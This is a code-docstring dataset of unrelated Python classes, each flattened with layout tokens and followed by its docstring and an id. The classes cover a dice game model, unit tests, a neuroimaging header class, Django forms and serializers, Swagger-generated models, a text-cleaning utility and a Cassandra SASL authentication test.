class PigGameModel(object): <NEW_LINE> <INDENT> def __init__(self, numPlayers, scoreCap=50): <NEW_LINE> <INDENT> self._players = list() <NEW_LINE> self._scoreCap = scoreCap <NEW_LINE> self._currentPlayerTurn = None <NEW_LINE> self._currentPlayerAction = PlayerActions(0) <NEW_LINE> self._gameOver = False <NEW_LINE> self._numPlayers = numPlayers <NEW_LINE> self._ctrlReference = None <NEW_LINE> self._game = asyncio.get_event_loop() <NEW_LINE> <DEDENT> def getPlayers(self): <NEW_LINE> <INDENT> return self._players <NEW_LINE> <DEDENT> def getNumPlayers(self): <NEW_LINE> <INDENT> return self._numPlayers <NEW_LINE> <DEDENT> def declareNewPlayer(self, playerName): <NEW_LINE> <INDENT> newPlayer = Player(playerName, Dice(2)) <NEW_LINE> self._setPlayers(newPlayer) <NEW_LINE> <DEDENT> def _setPlayers(self, *players): <NEW_LINE> <INDENT> for player in players: <NEW_LINE> <INDENT> self._players.append(player) <NEW_LINE> <DEDENT> <DEDENT> def setControl(self, controller): <NEW_LINE> <INDENT> self._ctrlReference = controller <NEW_LINE> <DEDENT> def updatePlayerAction(self, action=None): <NEW_LINE> <INDENT> self._currentPlayerAction = action <NEW_LINE> <DEDENT> def startGame(self): <NEW_LINE> <INDENT> self._changePlayerTurn() <NEW_LINE> self._game.run_until_complete(self._gameLoop()) <NEW_LINE> self._endGame() <NEW_LINE> <DEDENT> def _endGame(self): <NEW_LINE> <INDENT> self._game.close() <NEW_LINE> <DEDENT> def checkForWinner(self): <NEW_LINE> <INDENT> for player in self._players: <NEW_LINE> <INDENT> if player.getTotalScore() >= self._scoreCap: <NEW_LINE> <INDENT> player.setWin(True) <NEW_LINE> self._gameOver = True <NEW_LINE> return <NEW_LINE> <DEDENT> <DEDENT> <DEDENT> async def _gameLoop(self): <NEW_LINE> <INDENT> while self._gameOver is False: <NEW_LINE> <INDENT> playerIn = self._ctrlReference.getInput() <NEW_LINE> print(str(playerIn)) <NEW_LINE> self._checkInput(playerIn) <NEW_LINE> self._performPlayerAction() <NEW_LINE> self.checkForWinner() <NEW_LINE> <DEDENT> <DEDENT> def _checkInput(self, playerIn): <NEW_LINE> <INDENT> if str(playerIn).upper() is "R": <NEW_LINE> <INDENT> self._currentPlayerAction = PlayerActions.Roll <NEW_LINE> return <NEW_LINE> <DEDENT> elif str(playerIn).upper() is "B": <NEW_LINE> <INDENT> self._currentPlayerAction = PlayerActions.Bank <NEW_LINE> return <NEW_LINE> <DEDENT> <DEDENT> def _performPlayerAction(self): <NEW_LINE> <INDENT> currPlayer = self._currentPlayerTurn <NEW_LINE> if currPlayer is PlayerActions.Roll: <NEW_LINE> <INDENT> currPlayer.rollDice() <NEW_LINE> if currPlayer.hasRolledPig(): <NEW_LINE> <INDENT> currPlayer.resetTotalScore() <NEW_LINE> self._changePlayerTurn() <NEW_LINE> <DEDENT> elif currPlayer.hasRolledDupes(): <NEW_LINE> <INDENT> pass <NEW_LINE> <DEDENT> else: <NEW_LINE> <INDENT> currPlayer.setTurnScore( currPlayer.getRollTotal() ) <NEW_LINE> <DEDENT> <DEDENT> elif self._currentPlayerAction is PlayerActions.Bank: <NEW_LINE> <INDENT> currPlayer.bankScore() <NEW_LINE> self._changePlayerTurn() <NEW_LINE> <DEDENT> <DEDENT> def _performGameAction(self): <NEW_LINE> <INDENT> pass <NEW_LINE> <DEDENT> def setScoreCap(self, maxScore): <NEW_LINE> <INDENT> self._scoreCap = maxScore <NEW_LINE> <DEDENT> def _changePlayerTurn(self): <NEW_LINE> <INDENT> self._currentPlayerTurn = self._players.pop(0) <NEW_LINE> self._players.append(self._currentPlayerTurn) <NEW_LINE> <DEDENT> def getCurrentPlayerTurn(self): <NEW_LINE> <INDENT> return self._currentPlayerTurn
PigGameModel represents the model component of the MVC. It contains all data and methods related to the game's logic. Ideally, implements a coroutine function to give up control to its caller (the controller), without loosing its state.
62598fa4498bea3a75a579e7
class TestSupportFunctions(unittest.TestCase): <NEW_LINE> <INDENT> def setUp(self): <NEW_LINE> <INDENT> patch('commonpy.logger.Logger.logger').start() <NEW_LINE> patch('commonpy.parameters.SysParams.params', new_callable=PropertyMock).start() <NEW_LINE> <DEDENT> def tearDown(self): <NEW_LINE> <INDENT> patch.stopall() <NEW_LINE> <DEDENT> def testGetFoundationObjectFound(self): <NEW_LINE> <INDENT> fname = 'mumble1' <NEW_LINE> good_foundry = {"foundry": fname, "more": "stuff", "in": "here", } <NEW_LINE> source_info = {"foundations": [{**good_foundry, }, {"foundry": "mumble2", "some": "other", "stuff": "here", } ] } <NEW_LINE> foundry, info = get_stats.Exporter().get_foundation_object(fname, source_info) <NEW_LINE> self.assertEqual(foundry, fname) <NEW_LINE> self.assertEqual(info, good_foundry) <NEW_LINE> <DEDENT> def testGetFoundationObjectNotFound(self): <NEW_LINE> <INDENT> fname = 'mumble1' <NEW_LINE> good_foundry = {"foundry": fname, "more": "stuff", "in": "here", } <NEW_LINE> source_info = {"foundations": [{**good_foundry, }, {"foundry": "mumble2", "some": "other", "stuff": "here", } ] } <NEW_LINE> foundry, info = get_stats.Exporter().get_foundation_object("foobar", source_info) <NEW_LINE> self.assertEqual(foundry, None) <NEW_LINE> self.assertEqual(info, {}) <NEW_LINE> <DEDENT> def testLoadJsonSuccess(self): <NEW_LINE> <INDENT> phony_out = "loaded json stuff" <NEW_LINE> with patch("builtins.open", mock_open()) as mk_open, patch('json.load', return_value=phony_out) as mock_load: <NEW_LINE> <INDENT> result = get_stats.Exporter().load_json_file("some_filename") <NEW_LINE> <DEDENT> self.assertEqual(result, phony_out) <NEW_LINE> mk_open.assert_called_once_with('some_filename', 'r') <NEW_LINE> mock_load.assert_called_once() <NEW_LINE> <DEDENT> def testLoadJsonNoFile(self): <NEW_LINE> <INDENT> with patch("builtins.open", mock_open()) as mk_open, pytest.raises(FileNotFoundError), patch('json.load') as mock_load: <NEW_LINE> <INDENT> mk_open.side_effect = FileNotFoundError <NEW_LINE> result = get_stats.Exporter().load_json_file("some_filename") <NEW_LINE> <DEDENT> mk_open.assert_called_once_with('some_filename', 'r') <NEW_LINE> mock_load.assert_not_called() <NEW_LINE> <DEDENT> def testLoadJsonFail(self): <NEW_LINE> <INDENT> with patch("builtins.open", mock_open()) as mk_open, pytest.raises(Exception), patch('json.load', side_effect=Exception) as mock_load: <NEW_LINE> <INDENT> result = get_stats.Exporter().load_json_file("some_filename") <NEW_LINE> <DEDENT> mk_open.assert_called_once_with('some_filename', 'r')
Test basic operation of the assorted functions
62598fa57b25080760ed736f
class Spm99AnalyzeHeader(SpmAnalyzeHeader): <NEW_LINE> <INDENT> def get_origin_affine(self): <NEW_LINE> <INDENT> hdr = self._header_data <NEW_LINE> zooms = hdr['pixdim'][1:4].copy() <NEW_LINE> if self.default_x_flip: <NEW_LINE> <INDENT> zooms[0] *= -1 <NEW_LINE> <DEDENT> origin = hdr['origin'][:3] <NEW_LINE> dims = hdr['dim'][1:4] <NEW_LINE> if (np.any(origin) and np.all(origin > -dims) and np.all(origin < dims*2)): <NEW_LINE> <INDENT> origin = origin-1 <NEW_LINE> <DEDENT> else: <NEW_LINE> <INDENT> origin = (dims-1) / 2.0 <NEW_LINE> <DEDENT> aff = np.eye(4) <NEW_LINE> aff[:3,:3] = np.diag(zooms) <NEW_LINE> aff[:3,-1] = -origin * zooms <NEW_LINE> return aff <NEW_LINE> <DEDENT> get_best_affine = get_origin_affine <NEW_LINE> def set_origin_from_affine(self, affine): <NEW_LINE> <INDENT> if affine.shape != (4,4): <NEW_LINE> <INDENT> raise ValueError('Need 4x4 affine to set') <NEW_LINE> <DEDENT> hdr = self._header_data <NEW_LINE> RZS = affine[:3,:3] <NEW_LINE> Z = np.sqrt(np.sum(RZS * RZS, axis=0)) <NEW_LINE> T = affine[:3,3] <NEW_LINE> hdr['origin'][:3] = -T / Z + 1 <NEW_LINE> <DEDENT> @classmethod <NEW_LINE> def _get_checks(klass): <NEW_LINE> <INDENT> checks = super(Spm99AnalyzeHeader, klass)._get_checks() <NEW_LINE> return checks + (klass._chk_origin,) <NEW_LINE> <DEDENT> @staticmethod <NEW_LINE> def _chk_origin(hdr, fix=True): <NEW_LINE> <INDENT> ret = Report(hdr, HeaderDataError) <NEW_LINE> origin = hdr['origin'][0:3] <NEW_LINE> dims = hdr['dim'][1:4] <NEW_LINE> if (not np.any(origin) or (np.all(origin > -dims) and np.all(origin < dims*2))): <NEW_LINE> <INDENT> return ret <NEW_LINE> <DEDENT> ret.problem_msg = 'very large origin values relative to dims' <NEW_LINE> if fix: <NEW_LINE> <INDENT> ret.fix_msg = 'leaving as set, ignoring for affine' <NEW_LINE> <DEDENT> else: <NEW_LINE> <INDENT> ret.problem_level = 20 <NEW_LINE> <DEDENT> return ret
Adds origin functionality to base SPM header
62598fa563d6d428bbee2676
class SetCurrentProxy(TraceItem): <NEW_LINE> <INDENT> def __init__(self, selmodel, proxy, command): <NEW_LINE> <INDENT> TraceItem.__init__(self) <NEW_LINE> if proxy and proxy.IsA("vtkSMOutputPort"): <NEW_LINE> <INDENT> proxy = sm._getPyProxy(proxy.GetSourceProxy()) <NEW_LINE> <DEDENT> else: <NEW_LINE> <INDENT> proxy = sm._getPyProxy(proxy) <NEW_LINE> <DEDENT> accessor = Trace.get_accessor(proxy) <NEW_LINE> pxm = selmodel.GetSessionProxyManager() <NEW_LINE> if selmodel is pxm.GetSelectionModel("ActiveView"): <NEW_LINE> <INDENT> if RenderingMixin().skip_from_trace: <NEW_LINE> <INDENT> raise Untraceable("skipped") <NEW_LINE> <DEDENT> Trace.Output.append_separated([ "# set active view", "SetActiveView(%s)" % accessor]) <NEW_LINE> <DEDENT> elif selmodel is pxm.GetSelectionModel("ActiveSources"): <NEW_LINE> <INDENT> Trace.Output.append_separated([ "# set active source", "SetActiveSource(%s)" % accessor]) <NEW_LINE> <DEDENT> else: <NEW_LINE> <INDENT> raise Untraceable("Unknown selection model")
Traces change in active view/source etc.
62598fa591f36d47f2230e05
class ForesporselSerializer(serializers.ModelSerializer): <NEW_LINE> <INDENT> class Meta: <NEW_LINE> <INDENT> model = Foresporsel <NEW_LINE> fields = ['id', 'kalasSender', 'kalasReciver', 'message']
serializer som tar inn attributtene fra Foresporsel modellen, brukt i PostForesporsel viewet
62598fa576e4537e8c3ef471
class SearchForm(forms.Form): <NEW_LINE> <INDENT> q = forms.CharField(label=_('Query')) <NEW_LINE> search = forms.ChoiceField( label=_('Search type'), required=False, choices=( ('ftx', _('Fulltext')), ('exact', _('Exact match')), ('substring', _('Substring')), ), initial=False ) <NEW_LINE> src = forms.BooleanField( label=_('Search in source strings'), required=False, initial=True ) <NEW_LINE> tgt = forms.BooleanField( label=_('Search in target strings'), required=False, initial=True ) <NEW_LINE> ctx = forms.BooleanField( label=_('Search in context strings'), required=False, initial=False ) <NEW_LINE> def clean(self): <NEW_LINE> <INDENT> cleaned_data = super(SearchForm, self).clean() <NEW_LINE> if cleaned_data['search'] == '': <NEW_LINE> <INDENT> cleaned_data['search'] = 'ftx' <NEW_LINE> <DEDENT> if (not cleaned_data['src'] and not cleaned_data['tgt'] and not cleaned_data['ctx']): <NEW_LINE> <INDENT> cleaned_data['src'] = True <NEW_LINE> cleaned_data['tgt'] = True <NEW_LINE> <DEDENT> return cleaned_data
Text searching form.
62598fa5b7558d58954634f4
@implementer_only(IPatDatePickerWidget) <NEW_LINE> class DateCheckboxWidget(Widget): <NEW_LINE> <INDENT> def extract(self, default=NO_VALUE): <NEW_LINE> <INDENT> value = self.request.get(self.name, default) <NEW_LINE> if ( value == default or not value or not isinstance(value, basestring) ): <NEW_LINE> <INDENT> return None <NEW_LINE> <DEDENT> date = datetime.strptime(value, '%Y-%m-%d') <NEW_LINE> timezone_name = default_timezone(self.context) <NEW_LINE> if isinstance(timezone_name, unicode): <NEW_LINE> <INDENT> timezone_name.encode('utf8') <NEW_LINE> <DEDENT> tz = timezone(timezone_name) <NEW_LINE> date = tz.localize(date) <NEW_LINE> return date <NEW_LINE> <DEDENT> def render(self): <NEW_LINE> <INDENT> pass
Stores the date when a checkbox was checked :rtype datetime:
62598fa58e7ae83300ee8f66
class ActiveStateModel(mixins.ActiveStateMixin, models.Model): <NEW_LINE> <INDENT> pass
Test-only model to test ActiveStateMixin.
62598fa530bbd722464698da
class AgentError(AgentXInterfaceError): <NEW_LINE> <INDENT> def __init__(self, *args, **kwargs): <NEW_LINE> <INDENT> super().__init__(*args, **kwargs)
Exception throwable by the Agent class.
62598fa599cbb53fe6830d9a
class Performative: <NEW_LINE> <INDENT> REQUEST = "REQUEST" <NEW_LINE> AGREE = "AGREE" <NEW_LINE> REFUSE = "REFUSE" <NEW_LINE> FAILURE = "FAILURE" <NEW_LINE> INFORM = "INFORM" <NEW_LINE> CONFIRM = "CONFIRM" <NEW_LINE> DISCONFIRM = "DISCONFIRM" <NEW_LINE> QUERY_IF = "QUERY_IF" <NEW_LINE> NOT_UNDERSTOOD = "NOT_UNDERSTOOD" <NEW_LINE> CFP = "CFP" <NEW_LINE> PROPOSE = "PROPOSE" <NEW_LINE> CANCEL = "CANCEL"
An action represented by a message. The performative actions are a subset of the FIPA ACL recommendations for interagent communication.
62598fa532920d7e50bc5f1c
class OG_096: <NEW_LINE> <INDENT> play = CTHUN_CHECK & Heal(FRIENDLY_HERO, 10)
Twilight Darkmender
62598fa59c8ee823130400d2
class FilteringTools: <NEW_LINE> <INDENT> @staticmethod <NEW_LINE> def full_cleaning(text): <NEW_LINE> <INDENT> text = FilteringTools.remove_simple_smileys(text) <NEW_LINE> text = FilteringTools.remove_emoji(text) <NEW_LINE> text = FilteringTools.remove_links(text) <NEW_LINE> return text <NEW_LINE> <DEDENT> @staticmethod <NEW_LINE> def remove_simple_smileys(text): <NEW_LINE> <INDENT> pattern = r'(\:\w+\:|\<[\/\\]?3|[\(\)\\\D|\*\$][\-\^]?[\:\;\=]|[\:\;\=B8][\-\^]?[3DOPp\@\$\*\\\)\(\/\|])(?=\s|[\!\.\?]|$)' <NEW_LINE> return re.sub(pattern,'',text) <NEW_LINE> <DEDENT> @staticmethod <NEW_LINE> def remove_links(text): <NEW_LINE> <INDENT> return re.sub(r'http\S+', '', text, flags=re.MULTILINE) <NEW_LINE> <DEDENT> @staticmethod <NEW_LINE> def remove_emoji(data): <NEW_LINE> <INDENT> if not data: <NEW_LINE> <INDENT> return data <NEW_LINE> <DEDENT> if not isinstance(data, str): <NEW_LINE> <INDENT> return data <NEW_LINE> <DEDENT> try: <NEW_LINE> <INDENT> patt = re.compile(u'([\U00002600-\U000027BF])|([\U0001f300-\U0001f64F])|([\U0001f680-\U0001f6FF])') <NEW_LINE> <DEDENT> except re.error: <NEW_LINE> <INDENT> patt = re.compile(u'([\u2600-\u27BF])|([\uD83C][\uDF00-\uDFFF])|([\uD83D][\uDC00-\uDE4F])|([\uD83D][\uDE80-\uDEFF])') <NEW_LINE> <DEDENT> return patt.sub('', data)
This class contains methods to help clean texts from smileys, links, emojis...
62598fa54f6381625f199420
class InlineResponse20026(object): <NEW_LINE> <INDENT> swagger_types = { 'duration_bin': 'str', 'games_played': 'int', 'wins': 'int' } <NEW_LINE> attribute_map = { 'duration_bin': 'duration_bin', 'games_played': 'games_played', 'wins': 'wins' } <NEW_LINE> def __init__(self, duration_bin=None, games_played=None, wins=None): <NEW_LINE> <INDENT> self._duration_bin = None <NEW_LINE> self._games_played = None <NEW_LINE> self._wins = None <NEW_LINE> self.discriminator = None <NEW_LINE> if duration_bin is not None: <NEW_LINE> <INDENT> self.duration_bin = duration_bin <NEW_LINE> <DEDENT> if games_played is not None: <NEW_LINE> <INDENT> self.games_played = games_played <NEW_LINE> <DEDENT> if wins is not None: <NEW_LINE> <INDENT> self.wins = wins <NEW_LINE> <DEDENT> <DEDENT> @property <NEW_LINE> def duration_bin(self): <NEW_LINE> <INDENT> return self._duration_bin <NEW_LINE> <DEDENT> @duration_bin.setter <NEW_LINE> def duration_bin(self, duration_bin): <NEW_LINE> <INDENT> self._duration_bin = duration_bin <NEW_LINE> <DEDENT> @property <NEW_LINE> def games_played(self): <NEW_LINE> <INDENT> return self._games_played <NEW_LINE> <DEDENT> @games_played.setter <NEW_LINE> def games_played(self, games_played): <NEW_LINE> <INDENT> self._games_played = games_played <NEW_LINE> <DEDENT> @property <NEW_LINE> def wins(self): <NEW_LINE> <INDENT> return self._wins <NEW_LINE> <DEDENT> @wins.setter <NEW_LINE> def wins(self, wins): <NEW_LINE> <INDENT> self._wins = wins <NEW_LINE> <DEDENT> def to_dict(self): <NEW_LINE> <INDENT> result = {} <NEW_LINE> for attr, _ in six.iteritems(self.swagger_types): <NEW_LINE> <INDENT> value = getattr(self, attr) <NEW_LINE> if isinstance(value, list): <NEW_LINE> <INDENT> result[attr] = list(map( lambda x: x.to_dict() if hasattr(x, "to_dict") else x, value )) <NEW_LINE> <DEDENT> elif hasattr(value, "to_dict"): <NEW_LINE> <INDENT> result[attr] = value.to_dict() <NEW_LINE> <DEDENT> elif isinstance(value, dict): <NEW_LINE> <INDENT> result[attr] = dict(map( lambda item: (item[0], item[1].to_dict()) if hasattr(item[1], "to_dict") else item, value.items() )) <NEW_LINE> <DEDENT> else: <NEW_LINE> <INDENT> result[attr] = value <NEW_LINE> <DEDENT> <DEDENT> if issubclass(InlineResponse20026, dict): <NEW_LINE> <INDENT> for key, value in self.items(): <NEW_LINE> <INDENT> result[key] = value <NEW_LINE> <DEDENT> <DEDENT> return result <NEW_LINE> <DEDENT> def to_str(self): <NEW_LINE> <INDENT> return pprint.pformat(self.to_dict()) <NEW_LINE> <DEDENT> def __repr__(self): <NEW_LINE> <INDENT> return self.to_str() <NEW_LINE> <DEDENT> def __eq__(self, other): <NEW_LINE> <INDENT> if not isinstance(other, InlineResponse20026): <NEW_LINE> <INDENT> return False <NEW_LINE> <DEDENT> return self.__dict__ == other.__dict__ <NEW_LINE> <DEDENT> def __ne__(self, other): <NEW_LINE> <INDENT> return not self == other
NOTE: This class is auto generated by the swagger code generator program. Do not edit the class manually.
62598fa57047854f4633f29e
class WebLinkType(models.Model): <NEW_LINE> <INDENT> id=models.AutoField(primary_key=True) <NEW_LINE> name=models.CharField(_("Name"), max_length=128) <NEW_LINE> note=models.CharField(_("Note"), max_length=255, blank=True, null=True) <NEW_LINE> base_url=models.URLField(_("Base URL"), blank=True, null=True) <NEW_LINE> def get_account_count(self): <NEW_LINE> <INDENT> return 0 <NEW_LINE> <DEDENT> get_account_count.short_description=_('Number of Accounts') <NEW_LINE> class Meta: <NEW_LINE> <INDENT> verbose_name=_('Web Link Type') <NEW_LINE> verbose_name_plural=_('Web Link Types') <NEW_LINE> <DEDENT> def __unicode__(self): <NEW_LINE> <INDENT> return self.name
Social Media Connections
62598fa5097d151d1a2c0eec
class Honeypy(IPlugin): <NEW_LINE> <INDENT> __test_list = [TELNETTest] <NEW_LINE> @staticmethod <NEW_LINE> def get_test_list(): <NEW_LINE> <INDENT> return Honeypy.__test_list <NEW_LINE> <DEDENT> @staticmethod <NEW_LINE> def get_port_list(): <NEW_LINE> <INDENT> port_list = set() <NEW_LINE> for i in Honeypy.__test_list: <NEW_LINE> <INDENT> port_list.update(i.get_port()) <NEW_LINE> <DEDENT> return port_list <NEW_LINE> <DEDENT> @staticmethod <NEW_LINE> def run(ip): <NEW_LINE> <INDENT> list = {} <NEW_LINE> for i in Honeypy.__test_list: <NEW_LINE> <INDENT> list[i.get_name()] = i.run(ip) <NEW_LINE> <DEDENT> return list
List of tests
62598fa5f548e778e596b469
class ServiceDeployedEvent(object): <NEW_LINE> <INDENT> swagger_types = { 'events': 'list[BreTriggerResource]', 'resources': 'list[ResourceTypeDescription]', 'service_name': 'str', 'swagger_url': 'str' } <NEW_LINE> attribute_map = { 'events': 'events', 'resources': 'resources', 'service_name': 'service_name', 'swagger_url': 'swagger_url' } <NEW_LINE> def __init__(self, events=None, resources=None, service_name=None, swagger_url=None): <NEW_LINE> <INDENT> self._events = None <NEW_LINE> self._resources = None <NEW_LINE> self._service_name = None <NEW_LINE> self._swagger_url = None <NEW_LINE> self.discriminator = None <NEW_LINE> self.events = events <NEW_LINE> self.resources = resources <NEW_LINE> self.service_name = service_name <NEW_LINE> self.swagger_url = swagger_url <NEW_LINE> <DEDENT> @property <NEW_LINE> def events(self): <NEW_LINE> <INDENT> return self._events <NEW_LINE> <DEDENT> @events.setter <NEW_LINE> def events(self, events): <NEW_LINE> <INDENT> if events is None: <NEW_LINE> <INDENT> raise ValueError("Invalid value for `events`, must not be `None`") <NEW_LINE> <DEDENT> self._events = events <NEW_LINE> <DEDENT> @property <NEW_LINE> def resources(self): <NEW_LINE> <INDENT> return self._resources <NEW_LINE> <DEDENT> @resources.setter <NEW_LINE> def resources(self, resources): <NEW_LINE> <INDENT> if resources is None: <NEW_LINE> <INDENT> raise ValueError("Invalid value for `resources`, must not be `None`") <NEW_LINE> <DEDENT> self._resources = resources <NEW_LINE> <DEDENT> @property <NEW_LINE> def service_name(self): <NEW_LINE> <INDENT> return self._service_name <NEW_LINE> <DEDENT> @service_name.setter <NEW_LINE> def service_name(self, service_name): <NEW_LINE> <INDENT> if service_name is None: <NEW_LINE> <INDENT> raise ValueError("Invalid value for `service_name`, must not be `None`") <NEW_LINE> <DEDENT> self._service_name = service_name <NEW_LINE> <DEDENT> @property <NEW_LINE> def swagger_url(self): <NEW_LINE> <INDENT> return self._swagger_url <NEW_LINE> <DEDENT> @swagger_url.setter <NEW_LINE> def swagger_url(self, swagger_url): <NEW_LINE> <INDENT> if swagger_url is None: <NEW_LINE> <INDENT> raise ValueError("Invalid value for `swagger_url`, must not be `None`") <NEW_LINE> <DEDENT> self._swagger_url = swagger_url <NEW_LINE> <DEDENT> def to_dict(self): <NEW_LINE> <INDENT> result = {} <NEW_LINE> for attr, _ in iteritems(self.swagger_types): <NEW_LINE> <INDENT> value = getattr(self, attr) <NEW_LINE> if isinstance(value, list): <NEW_LINE> <INDENT> result[attr] = list(map( lambda x: x.to_dict() if hasattr(x, "to_dict") else x, value )) <NEW_LINE> <DEDENT> elif hasattr(value, "to_dict"): <NEW_LINE> <INDENT> result[attr] = value.to_dict() <NEW_LINE> <DEDENT> elif isinstance(value, dict): <NEW_LINE> <INDENT> result[attr] = dict(map( lambda item: (item[0], item[1].to_dict()) if hasattr(item[1], "to_dict") else item, value.items() )) <NEW_LINE> <DEDENT> else: <NEW_LINE> <INDENT> result[attr] = value <NEW_LINE> <DEDENT> <DEDENT> return result <NEW_LINE> <DEDENT> def to_str(self): <NEW_LINE> <INDENT> return pformat(self.to_dict()) <NEW_LINE> <DEDENT> def __repr__(self): <NEW_LINE> <INDENT> return self.to_str() <NEW_LINE> <DEDENT> def __eq__(self, other): <NEW_LINE> <INDENT> if not isinstance(other, ServiceDeployedEvent): <NEW_LINE> <INDENT> return False <NEW_LINE> <DEDENT> return self.__dict__ == other.__dict__ <NEW_LINE> <DEDENT> def __ne__(self, other): <NEW_LINE> <INDENT> return not self == other
NOTE: This class is auto generated by the swagger code generator program. Do not edit the class manually.
62598fa544b2445a339b68d1
class IDesignerLoaderHost(IDesignerHost,IServiceContainer,IServiceProvider): <NEW_LINE> <INDENT> def EndLoad(self,baseClassName,successful,errorCollection): <NEW_LINE> <INDENT> pass <NEW_LINE> <DEDENT> def Reload(self): <NEW_LINE> <INDENT> pass <NEW_LINE> <DEDENT> def __init__(self,*args): <NEW_LINE> <INDENT> pass
Provides an interface that can extend a designer host to support loading from a serialized state.
62598fa55f7d997b871f9343
class EchoLogAnalyzer(FoamLogAnalyzer): <NEW_LINE> <INDENT> def __init__(self): <NEW_LINE> <INDENT> FoamLogAnalyzer.__init__(self,progress=False) <NEW_LINE> self.addAnalyzer("Echo",EchoLineAnalyzer())
Trivial analyzer. It echos the Log-File
62598fa563d6d428bbee2677
class PeriodicJobHeartBeat(webapp2.RequestHandler): <NEW_LINE> <INDENT> logger = logger.Logger() <NEW_LINE> def get(self): <NEW_LINE> <INDENT> self.logger.Clear() <NEW_LINE> job_query = model.JobModel.query( model.JobModel.status == Status.JOB_STATUS_DICT["leased"] ) <NEW_LINE> jobs = job_query.fetch() <NEW_LINE> lost_jobs = [] <NEW_LINE> for job in jobs: <NEW_LINE> <INDENT> if job.heartbeat_stamp: <NEW_LINE> <INDENT> job_timestamp = job.heartbeat_stamp <NEW_LINE> <DEDENT> else: <NEW_LINE> <INDENT> job_timestamp = job.timestamp <NEW_LINE> <DEDENT> if (datetime.datetime.now() - job_timestamp).seconds >= JOB_RESPONSE_TIMEOUT_SECONDS: <NEW_LINE> <INDENT> lost_jobs.append(job) <NEW_LINE> <DEDENT> <DEDENT> for job in lost_jobs: <NEW_LINE> <INDENT> self.logger.Println("Lost job found") <NEW_LINE> self.logger.Println( "[hostname]{} [device]{} [test_name]{}".format( job.hostname, job.device, job.test_name)) <NEW_LINE> job.status = Status.JOB_STATUS_DICT["infra-err"] <NEW_LINE> job.put() <NEW_LINE> device_query = model.DeviceModel.query( model.DeviceModel.serial.IN(job.serial) ) <NEW_LINE> devices = device_query.fetch() <NEW_LINE> for device in devices: <NEW_LINE> <INDENT> device.scheduling_status = Status.DEVICE_SCHEDULING_STATUS_DICT[ "free"] <NEW_LINE> device.put() <NEW_LINE> <DEDENT> <DEDENT> self.response.write( "<pre>\n" + "\n".join(self.logger.Get()) + "\n</pre>")
Main class for /tasks/job_heartbeat. Used to find lost jobs and change their status properly. Attributes: logger: Logger class
62598fa585dfad0860cbf9d7
class TestProject(TestCase): <NEW_LINE> <INDENT> def setUp(self): <NEW_LINE> <INDENT> self.settings = ProjectSettings() <NEW_LINE> <DEDENT> def test_update(self): <NEW_LINE> <INDENT> self.settings.update(settings_dict) <NEW_LINE> assert self.settings.get_env_settings('definitions') == settings_dict['definitions_dir'][0] <NEW_LINE> assert self.settings.get_env_settings('iar') == settings_dict['tools']['iar']['path'][0] <NEW_LINE> assert self.settings.get_env_settings('uvision') == settings_dict['tools']['uvision']['path'][0] <NEW_LINE> assert self.settings.export_location_format == settings_dict['export_dir'][0] <NEW_LINE> <DEDENT> def test_definition(self): <NEW_LINE> <INDENT> self.settings.update(settings_dict) <NEW_LINE> self.settings.update_definitions_dir('new_path') <NEW_LINE> assert self.settings.get_env_settings('definitions') == 'new_path'
test things related to the Project class
62598fa58a43f66fc4bf2042
class SaslAuthenticatorTests(AuthenticationTests): <NEW_LINE> <INDENT> def setUp(self): <NEW_LINE> <INDENT> if PROTOCOL_VERSION < 2: <NEW_LINE> <INDENT> raise unittest.SkipTest('Sasl authentication not available for protocol v1') <NEW_LINE> <DEDENT> if SASLClient is None: <NEW_LINE> <INDENT> raise unittest.SkipTest('pure-sasl is not installed') <NEW_LINE> <DEDENT> <DEDENT> def get_authentication_provider(self, username, password): <NEW_LINE> <INDENT> sasl_kwargs = {'host': 'localhost', 'service': 'cassandra', 'mechanism': 'PLAIN', 'qops': ['auth'], 'username': username, 'password': password} <NEW_LINE> return SaslAuthProvider(**sasl_kwargs)
Test SaslAuthProvider as PlainText
62598fa52ae34c7f260aafa7